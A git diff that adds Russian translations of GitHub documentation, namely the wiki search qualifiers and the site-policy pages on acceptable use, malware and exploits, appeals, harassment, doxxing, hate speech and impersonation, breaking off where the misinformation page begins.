@@ +--- +title: Поиск вики-сайтов +intro: 'Можно выполнять поиск вики-сайтов в {% data variables.product.product_name %} и использовать квалификаторы поиска вики-сайта в любом сочетании, чтобы уточнить результаты.' +redirect_from: + - /articles/searching-wikis + - /github/searching-for-information-on-github/searching-wikis + - /github/searching-for-information-on-github/searching-on-github/searching-wikis +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - GitHub search +ms.openlocfilehash: da73bcaa13c718be9840483e2a34c4b90ba96e63 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145118856' +--- +Вы можете искать вики-сайты глобально по всему {% data variables.product.product_name %} или в определенном репозитории или организации. Дополнительные сведения см. в разделе [Сведения о поиске в {% data variables.product.company_short %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github). + +{% data reusables.search.syntax_tips %} + +## Поиск в репозиториях пользователя или организации + +Чтобы найти вики-страницы из всех репозиториев, принадлежащих определенному пользователю или организации, используйте квалификатор `user` или `org`. Чтобы найти вики-страницы из определенного репозитория, используйте квалификатор `repo`. + +| Квалификатор | Пример +| ------------- | ------------- +| user:USERNAME | [**user:defunkt**](https://github.com/search?q=user%3Adefunkt&type=Wikis) соответствует вики-страницам из репозиториев, принадлежащих @defunkt. +| org:ORGNAME | [**org:github**](https://github.com/search?q=org%3Agithub&type=Wikis&utf8=%E2%9C%93) соответствует wiki в репозиториях, принадлежащих организации GitHub. +| repo:USERNAME/REPOSITORY | [**repo:defunkt/gibberish**](https://github.com/search?q=user%3Adefunkt&type=Wikis) соответствует вики-страницам из репозитория "gibberish" @defunkt. + +## Поиск по заголовку вики-страницы или основному тексту + +Квалификатор `in` ограничивает поиск по заголовку вики-страницы или основному тексту. Без квалификатора выполняется поиск как по заголовку, так и по основному тексту. + +| Квалификатор | Пример +| ------------- | ------------- +| `in:title` | [**usage in:title**](https://github.com/search?q=usage+in%3Atitle&type=Wikis) соответствует заголовкам вики-страниц со словом "usage". +| `in:body` | [**installation in:body**](https://github.com/search?q=installation+in%3Abody&type=Wikis) соответствует вики-страницам со словом "installation" в основном тексте. + +## Поиск по дате последнего обновления + +Квалификатор `updated` соответствует вики-страницам, которые последний раз обновлялись в указанном диапазоне дат. + +{% data reusables.search.date_gt_lt %} + +| Квалификатор | Пример +| ------------- | ------------- +| updated:YYYY-MM-DD | [**usage updated:>2016-01-01**](https://github.com/search?q=usage+updated%3A>2016-01-01&type=Wikis) соответствует вики-страницам со словом "usage", которые последний раз обновлялись после 01.01.2016. + +## Дополнительные материалы + +- [Сортировка результатов поиска](/search-github/getting-started-with-searching-on-github/sorting-search-results/) diff --git a/translations/ru-RU/content/search/index.md b/translations/ru-RU/content/search/index.md new file mode 100644 index 000000000000..c1f5abbe0570 --- /dev/null +++ b/translations/ru-RU/content/search/index.md @@ -0,0 +1,16 @@ +--- +title: Поиск +hidden: true +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +ms.openlocfilehash: 1a780ae1a9481af58598ac2a37eec1553b08f627 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148108824' +--- + diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md new file mode 100644 index 000000000000..fb1d81b419b4 --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-acceptable-use-policies.md @@ -0,0 +1,119 @@ +--- +title: Политика допустимого использования GitHub +redirect_from: + - /articles/github-acceptable-use-policies + - /github/site-policy/github-acceptable-use-policies +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: c24228a3c5537962b2e22e51644cc67e77d8fe69 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '147099183' +--- +**Краткое содержание.** _У нас размещаются самые разные совместные проекты со всего мира, и это сотрудничество работает только тогда, когда наши пользователи способны добросовестно работать вместе. При использовании Сервиса вы должны соблюдать наши Правила допустимого использования, которые включают некоторые ограничения на контент и поведение на GitHub, связанные с безопасностью пользователей, интеллектуальной собственностью, конфиденциальностью, подлинностью и другими ограничениями. Одним словом, будьте безупречны по отношению друг к другу._ + +Термины с заглавной буквы, используемые, но не определенные в настоящих Правилах допустимого использования, имеют значения, присвоенные им в наших [Условиях обслуживания](/articles/github-terms-of-service), [Корпоративных условиях обслуживания](/articles/github-corporate-terms-of-service) и [Заявлении о конфиденциальности](/articles/github-privacy-statement). Для клиентов, подпадающих под действие [Корпоративных условий обслуживания](/articles/github-corporate-terms-of-service), «вы» и «ваш» относятся к «Клиентам» или «Пользователям». «Мы», «нас», «наш» относятся к «GitHub». + +## 1. Соблюдение законодательства +Вы несете ответственность за использование Сервиса в соответствии со всеми применимыми законами, правилами и всеми нашими Правилами допустимого использования. Эти правила могут время от времени обновляться, и они приведены ниже, а также в наших [Условиях обслуживания](/articles/github-terms-of-service) и [Корпоративных условиях обслуживания](/articles/github-corporate-terms-of-service). + +## 2. Безопасность пользователей +Мы не разрешаем содержание или деятельность на GitHub, которые: + +- являются незаконными или способствуют незаконной деятельности; + +- являются [сексуально непристойными](/github/site-policy/github-sexually-obscene-content) или имеют отношение к сексуальной эксплуатации или надругательству, в том числе над несовершеннолетними; + +- являются клеветническими, дискредитирующими или мошенническими; + +- являются [дискриминационными или оскорбительными](/github/site-policy/github-hate-speech-and-discrimination) по отношению к любому человеку или группе; + +- являются [ложной, неточной или намеренно вводящей в заблуждение информацией](/github/site-policy/github-misinformation-and-disinformation) и могут негативно сказаться на общественных интересах (включая здоровье, безопасность, честность выборов и гражданское участие); + +- [преследуют или оскорбляют](/github/site-policy/github-bullying-and-harassment) другого человека или группу людей, включая наших сотрудников, должностных лиц и агентов, или других пользователей; + +- [угрожают или подстрекают к насилию](/github/site-policy/github-threats-of-violence-and-gratuitously-violent-content) по отношению к любому человеку или группе, особенно на основании того, кем они являются; + +- [беспричинно изображают или прославляют насилие](/github/site-policy/github-threats-of-violence-and-gratuitously-violent-content), включая изображения насилия; или + +- не соответствуют теме или взаимодействуют с функциями платформы таким образом, что значительно или неоднократно [нарушают работу других пользователей](/github/site-policy/github-disrupting-the-experience-of-other-users). + + +## 3. Интеллектуальная собственность, аутентичность и личная информация +Мы не разрешаем содержание или деятельность на GitHub, которые: + +- нарушают любое право собственности любой стороны, включая патент, торговую марку, коммерческую тайну, авторское право, право на публичность или другое право; + +- незаконно распространяют неавторизованные ключи лицензирования продукта, программное обеспечение для генерации неавторизованных ключей лицензирования продукта или программное обеспечение для обхода проверки ключей лицензирования продукта, включая продление бесплатной лицензии после пробного периода; + +- [представляют любое физическое или юридическое лицо](/github/site-policy/github-impersonation), включая любого из наших сотрудников или представителей, в том числе посредством ложной ассоциации с GitHub, или путем обмана, искажающего вашу личность или цели сайта; или + +- [нарушают конфиденциальность любого третьего лица](/github/site-policy/github-doxxing-and-invasion-of-privacy), например, размещая персональные данные другого человека без его согласия. + +## 4. Спам и недостоверная активность на GitHub +Мы не разрешаем содержание или деятельность на GitHub, которая является: +- автоматизированной чрезмерной массовой деятельностью и скоординированной неавторизованной деятельностью, такой как + * спам; + * майнинг криптовалюты; +* массовое распространение рекламных акций и рекламы, запрещенных условиями и правилами GitHub; +* недостоверные вмешательства, такие как поддельные аккаунты и автоматизированная недостоверная деятельность; +* злоупотребление рейтингом, например автоматическое начисление звезд или подписчиков; +* создание или участие во вторичных рынках с целью распространения недостоверной активности; +* использование GitHub в качестве платформы для распространения злоупотреблений на других платформах; +* фишинг или попытка фишинга; или +* использование наших серверов для любой формы чрезмерной автоматизированной массовой активности, для создания чрезмерной нагрузки на наши серверы с помощью автоматизированных средств или для передачи через наши серверы любой формы незапрашиваемой рекламы или приглашения, например, схем быстрого обогащения. + +## 5. Доступ к сайту и безопасность +Мы не разрешаем содержание или деятельность на GitHub, которые: + +- напрямую поддерживают [незаконные активные атаки или вредоносные кампании](/github/site-policy/github-active-malware-or-exploits), которые причиняют технический вред, например, используют нашу платформу для доставки вредоносных исполняемых файлов или в качестве инфраструктуры атаки, например, путем организации атак типа «отказ в обслуживании» или управления серверами управления и контроля без какой-либо неявной или явной цели двойного назначения до совершения злоупотребления; или +- используют наши серверы для нарушения или попытки нарушения или получения или попытки получения несанкционированного доступа к любой услуге, устройству, данным, учетной записи или сети. Обратите внимание, что деятельность, разрешенная в рамках программ вознаграждения за обнаружение уязвимостей, например [Программы GitHub Bug Bounty](https://bounty.github.com), не считается «несанкционированной». + + +## 6. Ограничения на использование услуг +Нельзя воспроизводить, дублировать, копировать, продавать, перепродавать или использовать любую часть Услуги, использование Услуги или доступ к Услуге без нашего прямого письменного разрешения. + +## 7. Ограничения на использование информации +Можно использовать информацию из нашего Сервиса по следующим причинам, независимо от того, была ли эта информация извлечена, собрана через наш API или получена иным способом: + +- Исследователи могут использовать общедоступную, не личную информацию из Сервиса в исследовательских целях, только если любые публикации, являющиеся результатом такого исследования, находятся [в открытом доступе](https://en.wikipedia.org/wiki/Open_access). +- Работники архивов могут использовать публичную информацию из Службы в архивных целях. + +Скрейпинг — это извлечение информации из нашего Сервиса с помощью автоматизированного процесса, такого как бот или веб-краулер. Скрейпинг не относится к сбору информации через наш API. [Условия использования API](/articles/github-terms-of-service#h-api-terms) см. в разделе H наших Условий обслуживания. + +Вы не можете использовать информацию из Сервиса (будь то полученная через скрейпинг, собранная через наш API или полученная иным способом) в целях рассылки спама, в том числе в целях отправки незапрашиваемых электронных писем пользователям или продажи персональных данных, например рекрутерам, хедхантерам и доскам объявлений о работе. + +Использование вами информации из Сервиса должно соответствовать [Заявлению о конфиденциальности GitHub](/github/site-policy/github-privacy-statement). + +## 8. Конфиденциальность +Неправомерное использование Персональных данных запрещено. + +Любое физическое, юридическое лицо или служба, собирающие данные из Службы, должны соблюдать [Заявление о конфиденциальности GitHub](/articles/github-privacy-statement), особенно в отношении сбора Персональных данных. Если вы собираете какие-либо Персональные данные из Сервиса, вы соглашаетесь с тем, что вы будете использовать эти Персональные данные только для той цели, для которой этот Пользователь разрешил такой сбор. Вы соглашаетесь с тем, что вы будете разумно защищать любые Персональные данные, которые вы собрали с помощью Сервиса, и вы будете незамедлительно реагировать на жалобы, запросы на удаление и запросы «не связываться» от нас или других пользователей. + +## 9. Чрезмерное использование полосы пропускания +Ограничения пропускной способности Сервиса зависят от используемых вами функций. Если мы определим, что использование вами полосы пропускания значительно превышает потребление другими пользователями аналогичных функций, мы оставляем за собой право приостановить действие вашей Учетной записи, ограничить ваш файловый хостинг или иным образом ограничить вашу активность до тех пор, пока вы не сократите потребление вашей пропускной способности. Мы также оставляем за собой право — после предварительного уведомления — удалять хранилища, которые, по нашему мнению, создают чрезмерную нагрузку на нашу инфраструктуру. Руководство по допустимому использованию хранилища объектов в репозиториях см. в разделе «[Какова моя дисковая квота?](/github/managing-large-files/what-is-my-disk-quota)». Для получения дополнительной информации об ограничениях пропускной способности определенных функций см. [Дополнительные условия продукта GitHub](/github/site-policy/github-additional-product-terms). + +## 10. Реклама на GitHub +**Краткая версия.** *Как правило, мы не запрещаем использование GitHub для рекламы. Однако мы ожидаем, что наши пользователи будут соблюдать определенные ограничения, поэтому GitHub не станет зоной спама. Никто этого не хочет.* + +Хотя мы понимаем, что вы можете захотеть продвигать свой Контент, размещая имена или логотипы сторонников в своей Учетной записи, основная цель Контента, публикуемого в Сервисе или через вашу Учетную запись, не должна быть рекламой или маркетинговым продвижением. Это включает в себя Контент, размещенный на Страницах, в Пакетах, репозиториях и всех других частях Сервиса или через них. В документы README или разделы описания проекта, связанные с вашим аккаунтом, можно включать статические изображения, ссылки и рекламный текст, но они должны быть связаны с проектом, который вы размещаете на GitHub. Запрещается размещать рекламу в аккаунтах других пользователей, например размещать монетизированный или чрезмерно объемный контент в выпусках. + +Запрещается рекламировать или распространять контент или деятельность, которая является незаконной или иным образом запрещена нашими [Условиями обслуживания](/github/site-policy/github-terms-of-service/) или [Правилами допустимого использования](/github/site-policy/github-acceptable-use-policies/), в том числе чрезмерные автоматические массовые действия (например, рассылка спама), схемы быстрого обогащения, а также введение в заблуждение или обман, связанные с вашей рекламной акцией. + +Если вы решите разместить какие-либо рекламные материалы в своей Учетной записи, вы несете единоличную ответственность за соблюдение всего применимого законодательства, включая, помимо прочего, Руководство Федеральной торговой комиссии США по одобрениям и отзывам. Мы оставляем за собой право удалять любые промо-материалы или рекламу, которые, по нашему собственному усмотрению, нарушают какие-либо условия или правила GitHub. + +## 11. Защита пользователя +Вы не должны заниматься деятельностью, которая наносит существенный вред другим пользователям. + +Мы будем интерпретировать наши правила и разрешать споры в пользу защиты пользователей в целом. + +--- + +**Обеспечение исполнения.** GitHub оставляет за собой полное право [принимать меры](/github/site-policy/github-community-guidelines#what-happens-if-someone-violates-githubs-policies) в ответ на нарушение этих правил, включая приостановку действия учетной записи, расторжение [договора](/github/site-policy/github-terms-of-service#3-github-may-terminate)или [удаление](/github/site-policy/github-terms-of-service#2-github-may-remove-content) контента. См. также наши [Принципы сообщества,](/site-policy/github-terms/github-community-guidelines) чтобы узнать, какие действия вы можете предпринять, если что-то или кто-то вас оскорбляет. + +**Восстановление и обжалование.** Если ваш контент или учетная запись были отключены или ограничены и вы хотите восстановить их или подать апелляцию, пожалуйста, обратитесь на нашу [Страницу апелляции и восстановления](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) для получения информации о процессе и используйте нашу [Форму для апелляции и восстановления,](https://support.github.com/contact/reinstatement) чтобы подать запрос. diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md new file mode 100644 index 000000000000..000c7ad0057b --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-active-malware-or-exploits.md @@ -0,0 +1,32 @@ +--- +title: Активные вредоносные или хакерские программы на GitHub +shortTitle: Active Malware or Exploits +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-active-malware-or-exploits + - /github/site-policy/github-community-guidelines#active-malware-or-exploits +ms.openlocfilehash: 1fade2d11285ef8d142b62e2c588c8556c7a5270 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556715' +--- +Быть частью сообщества означает не использовать других членов сообщества в своих интересах. Мы не разрешаем никому использовать нашу платформу для прямой поддержки незаконных атак, наносящих технический ущерб, например, использовать GitHub в качестве средства доставки вредоносных исполняемых файлов или в качестве инфраструктуры для атак, например, путем организации атак типа «отказ в обслуживании» или управления серверами управления и контроля. Технический вред означает чрезмерное потребление ресурсов, физический ущерб, простои, отказ в обслуживании или потерю данных без какой-либо явной или неявной цели двойного назначения до того, как произошло злоупотребление. + + Обратите внимание, что GitHub разрешает контент двойного назначения и поддерживает публикацию контента, который используется для исследования уязвимостей, вредоносных или хакерских программ, поскольку публикация и распространение такого контента имеет образовательную ценность и приносит чистую пользу сообществу безопасности. Мы предполагаем наличие у этих проектов позитивных намерений и их использование для продвижения и стимулирования улучшений во всей экосистеме. + + В редких случаях очень широко распространенного злоупотребления контентом двойного назначения мы можем ограничить доступ к конкретному экземпляру контента, чтобы пресечь текущую незаконную атаку или кампанию вредоносных программ, использующих платформу GitHub в качестве CDN для хакерских или вредоносных программ. В большинстве таких случаев ограничение принимает форму установления аутентификации контента, но в качестве крайней меры может включать отключение доступа или полное удаление, если это невозможно (например, если контент размещен как источник информации). Мы также обратимся к владельцам проектов по поводу введенных ограничений там, где это возможно. + + Ограничения носят временный характер, где это возможно, и не служат цели постоянного удаления или ограничения какого-либо конкретного контента двойного назначения или копий этого контента с платформы. Хотя мы стремимся сделать эти редкие случаи ограничения совместным процессом с владельцами проектов, если вы считаете, что ваш контент был необоснованно ограничен, у нас существует [процесс обжалования.](/site-policy/acceptable-use-policies/github-appeal-and-reinstatement) + + Чтобы облегчить путь к решению проблемы злоупотребления с помощью самих сопровождающих проектов, до передачи сообщений о злоупотреблениях на GitHub в следующие инстанции, мы рекомендуем, но не требуем, чтобы владельцы репозиториев предпринимали следующие шаги при размещении потенциально опасных материалов исследований в области безопасности: + +* Четко определите и опишите любой потенциально опасный контент в заявлении об отказе от ответственности в файле проекта README.md или в комментариях к исходному коду. +* Укажите предпочтительный способ связи для любых запросов о злоупотреблениях третьих лиц через файл SECURITY.md в репозитории (например, «Пожалуйста, оставьте заявку на этом репозитории для любых вопросов или проблем»). Такой метод связи позволяет третьим сторонам напрямую связываться с сопровождающими проекта и потенциально решать проблемы без необходимости писать отчеты о нарушениях. + + *GitHub считает реестр npm платформой, используемой в основном для установки и использования кода во время выполнения, а не для исследований.* diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md new file mode 100644 index 000000000000..5b5ad1be84de --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-appeal-and-reinstatement.md @@ -0,0 +1,43 @@ +--- +title: Апелляция и восстановление в GitHub +versions: + fpt: '*' +topics: + - Policy + - Legal +ms.openlocfilehash: 6da03add539f84a02d919fb777690468bb10a22a +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556694' +--- +## Апелляция и восстановление + +Хотя большинство взаимодействий между людьми в сообществе GitHub подпадает под наши Правила допустимого использования и Принципы сообщества, иногда происходят нарушения этих политик. В этом случае персоналу GitHub может потребоваться принять принудительные меры для устранения нарушений. Однако в некоторых случаях могут иметься основания для отмены модерации, предпринятой сотрудниками GitHub. + +## Что такое апелляция и восстановление? + +И апелляция, и восстановление возникают в связи с отключением контента или ограничениями доступа к учетной записи. + +**Восстановление**. Пользователь хочет восстановить доступ к своей учетной записи или контенту и готов внести любые необходимые изменения для устранения нарушения и должен согласиться не нарушать наши условия в будущем. + +**Апелляция**. Пользователь оспаривает факт нарушения и может предоставить дополнительную информацию, чтобы показать, что должно было быть принято другое решение. + +## Как это работает + +Если вы требуете восстановления или хотите обжаловать принудительное действие, пожалуйста, заполните нашу [Форму апелляции и восстановления](https://support.github.com/contact/reinstatement). + +Сотрудники GitHub изучат информацию, указанную в форме, чтобы определить, достаточно ли ее для восстановления или удовлетворения апелляции. + +* **Восстановление**. Если пользователь может согласиться соблюдать наши Правила допустимого использования в будущем и внес изменения, необходимые для устранения нарушений, мы можем решить восстановить его учетную запись или контент в зависимости от обстоятельств и серьезности первоначального нарушения. + +Все легитимные просьбы о восстановлении будут первоначально рассмотрены сотрудниками GitHub, и по ним будет вынесено решение. + +* **Апелляция**. Если пользователь пытается оспорить решение, он может использовать форму, чтобы объяснить основания для оспаривания решения и предоставить любую дополнительную информацию о предполагаемом нарушении, которая, по его мнению, должна была привести к другому решению. Если предоставленная информация свидетельствует о том, что должен был быть сделан другой вывод, мы можем удовлетворить апелляцию. + +Если проверяющий сотрудник GitHub является тем же лицом, которое вынесло первоначальное решение, и этот сотрудник считает, что его первоначальное заключение было правильным (и, следовательно, склонен отклонить апелляцию), то апелляцию будет независимо изучать другой сотрудник GitHub. На все легитимные апелляции будет дан ответ с окончательным решением. + +## Прозрачность + +Мы отслеживаем апелляции и восстановления в наших [отчетах о прозрачности](https://github.blog/2022-01-27-2021-transparency-report/#Appeals_and_other_reinstatements). diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md new file mode 100644 index 000000000000..30106155eb43 --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-bullying-and-harassment.md @@ -0,0 +1,28 @@ +--- +title: Издевательства и домогательства на GitHub +shortTitle: Bullying and Harassment +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-bullying-and-harassment + - /github/site-policy/github-community-guidelines#bullying-and-harassment +ms.openlocfilehash: 3728314661ad4cb9d5b0765b937e618f8ee31f7b +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556682' +--- +Мы не терпим домогательств, издевательств или злоупотреблений любого рода, будь то напрямую или путем поощрения других к участию в запрещенном поведении. Сюда входит следующее: + +- Целенаправленные личные атаки +- Нагромождение или организация [деструктивной](/github/site-policy/github-disrupting-the-experience-of-other-users) деятельности таким образом, что это равносильно злоупотреблению +- Преследование другого пользователя по платформе таким образом, что это приводит к возникновению чувства страха +- Сексуальное домогательство или комментарии, направленные на другого человека +- Недобросовестное участие в разговоре, провоцирующее конфликт или негативно влияющее на откровенное обсуждение +- Создание альтернативных учетных записей специально для того, чтобы избежать модерации со стороны персонала или пользователей GitHub + +Обратите внимание, что не всякое неприятное поведение обязательно считается домогательством. Например, несогласие с мнением другого пользователя или понижение рейтинга его комментариев не может считаться преследованием на нашей платформе. Кроме того, размещение критических замечаний в адрес общественных деятелей или проектов, или тем, представляющих общественный интерес, не обязательно подпадает под эту политику. Тем не менее мы призываем вас внимательно относиться к тому, как вы взаимодействуете с другими пользователями и платформой, поскольку такая деятельность может нарушать наши требования о нарушении условий работы других пользователей. diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md new file mode 100644 index 000000000000..cd50696d3ebc --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-disrupting-the-experience-of-other-users.md @@ -0,0 +1,32 @@ +--- +title: GitHub о нарушении работы других пользователей +shortTitle: Disrupting the Experience of Other Users +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-disrupting-the-experience-of-other-users + - /github/site-policy/github-community-guidelines#disrupting-the-experience-of-other-users +ms.openlocfilehash: f036077bfebf251befd048cf327663fc90375c89 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556691' +--- +Быть частью сообщества — значит осознавать, как ваше поведение влияет на других, и участвовать в осмысленном и продуктивном взаимодействии с людьми и платформой, на которую они опираются. + +Мы не допускаем поведения, которое существенно или длительное время мешает работе других пользователей. Сюда входит следующее: + +- Размещение комментариев не по теме +- Открытие пустых или бессмысленных вопросов или запросов на включение изменений +- Начисление звезд и (или) подписка на учетные записи или репозитории в большом объеме за короткий период времени +- Создание бессмысленных или неуместных проверок кода +- Использование функций платформы таким образом, что это вызывает чрезмерное количество уведомлений для других пользователей +- Использование любой другой функции платформы таким образом, что это приводит к нарушению работы платформы + +Хотя мы призываем сопровождающих модерировать свои проекты на индивидуальной основе, сотрудники GitHub могут принять дополнительные ограничительные меры в отношении учетных записей, которые ведут себя подобным образом. + +Обратите внимание, что вышеуказанное поведение может также нарушать другие ограничения нашей [Политики допустимого использования](/github/site-policy/github-acceptable-use-policies). Например, в зависимости от характера и серьезности действий, они могут достигать уровня [издевательства и домогательства](/github/site-policy/github-bullying-and-harassment). diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md new file mode 100644 index 000000000000..08434ce8d4fb --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-doxxing-and-invasion-of-privacy.md @@ -0,0 +1,35 @@ +--- +title: 'GitHub: незаконное распространение персональных данных в интернете и вторжение в частную жизнь' +shortTitle: Doxxing and Invasion of Privacy +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-doxxing-and-invasion-of-privacy + - /github/site-policy/github-community-guidelines#doxxing-and-invasion-of-privacy +ms.openlocfilehash: 70a5087ea0a80e8fea9cfed402b16037ac9efe62 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556679' +--- +Не размещайте в сети персональные данные других людей. Сюда входит следующее: + +- личные, частные адреса электронной почты; +- номера телефонов; +- физические адреса или другая личная информация о местоположении; +- информация о банковском счете или номера кредитных карт; +- номера документов социального страхования/национального удостоверения личности; +- пароли; +- сведения об избирателях; +- медицинская информация и персональные биометрические данные; +- другая личная информация, которая может представлять угрозу безопасности. + +Мы можем рассматривать другую информацию, например фотографии или видео, которые были сделаны или распространены без согласия субъекта, как вторжение в частную жизнь, особенно если такие материалы представляют угрозу безопасности субъекта, например в случае запугивания или преследования. + +GitHub будет принимать во внимание контекст, а также то, находится ли содержание сообщения в открытом доступе где-либо еще. Пожалуйста, обратите внимание на следующее: хотя обмен общедоступным контентом не является нарушением данной политики, если информация передается с намерением преследовать или подстрекать к другому неправомерному поведению, это может нарушить наш запрет на [издевательства и домогательства](/github/site-policy/github-bullying-and-harassment). + +Чтобы получить дополнительную информацию или узнать, как сообщить о нарушении, см. нашу [Политику удаления личной информации](/github/site-policy/github-private-information-removal-policy) и наши инструкции по [Сообщению о нарушении](/communities/maintaining-your-safety-on-github/reporting-abuse-or-spam). diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md new file mode 100644 index 000000000000..2be8fe7463d1 --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-hate-speech-and-discrimination.md @@ -0,0 +1,29 @@ +--- +title: GitHub про разжигание ненависти и дискриминацию +shortTitle: Hate Speech and Discrimination +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-hate-speech-and-discrimination + - /github/site-policy/github-community-guidelines#hate-speech-and-discrimination +ms.openlocfilehash: f05e10bb8938ed47a6f05ab555c05edd4fab47f0 +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556676' +--- +GitHub не терпит высказываний, которые оскорбляют или пропагандируют ненависть к человеку или группе людей на основании того, кем они являются, включая возраст, размер тела, способности, этническую принадлежность, гендерную идентичность и ее выражение, уровень опыта, национальность, внешность, расу, религию, сексуальную идентичность или сексуальную ориентацию. Сюда входит следующее: + +- Насмешки, нападки или отлучение человека или группы людей на основании их убеждений или характеристик, перечисленных выше; +- Демонстрация явной принадлежности или идентификации с известными террористическими или воинствующими экстремистскими организациями; +- Поддержка или пропаганда групп ненависти или теорий заговора на почве ненависти +- Обмен символами или изображениями, являющимися синонимами ненависти +- Использование вредных стереотипов, оскорблений или высказываний, унижающих человеческое достоинство +- Нападки на человека на основании его предполагаемого пола +- «Метод собачьего свистка» или использование закодированного или наводящего на определенные мысли языка и (или) символов для пропаганды насилия или ненависти + +Хотя GitHub серьезно относится ко всем случаям злоупотреблений и домогательств на платформе, мы особенно привержены борьбе со злоупотреблениями на почве ненависти, когда они непропорционально сильно затрагивают сообщества, которые исторически были объектом таких злоупотреблений. Мы стремимся сделать GitHub местом, где все люди чувствуют себя комфортно и безопасно. diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-impersonation.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-impersonation.md new file mode 100644 index 000000000000..9fb1fcd1d72e --- /dev/null +++ b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-impersonation.md @@ -0,0 +1,28 @@ +--- +title: Выдача себя за другое лицо на GitHub +shortTitle: Impersonation +versions: + fpt: '*' +topics: + - Policy + - Legal +redirect_from: + - /github/site-policy/github-impersonation + - /github/site-policy/github-community-guidelines#impersonation +ms.openlocfilehash: ffcac80a077693728b475150093c298420d9ba6f +ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 08/29/2022 +ms.locfileid: '144556673' +--- +Вы не можете давать неверное представление о себе или о своей связи с другим лицом или организацией. Это включает в себя любое из следующих действий, которое вводит в заблуждение или обманывает других: + +- Копирование аватара другого пользователя или другой информации личного профиля; +- Размещение контента под адресом электронной почты другого пользователя; +- Использование обманчиво похожего имени пользователя, названия организации или другого пространства имен; +- Выдача себя за другое лицо или организацию иным образом. + +Выдача себя за другое лицо является формой преследования, и нарушение этой политики может привести к потере доступа к вашей учетной записи. + +Обратите внимание, что наличие имени пользователя, похожего на другое, не обязательно означает попытку выдать себя за другое лицо. GitHub будет учитывать контекст. Например, как и в случаях, связанных с заявлениями о [введении в заблуждение или дезинформации](/github/site-policy/github-misinformation-and-disinformation), мы обычно разрешаем пародии и сатиру, которые соответствуют нашим [Правилам допустимого использования](/github/site-policy/github-acceptable-use-policies). diff --git a/translations/ru-RU/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md b/translations/ru-RU/content/site-policy/acceptable-use-policies/github-misinformation-and-disinformation.md new file mode 100644 index 000000000000..0c1eaeb935f1 --- /dev/null +++ 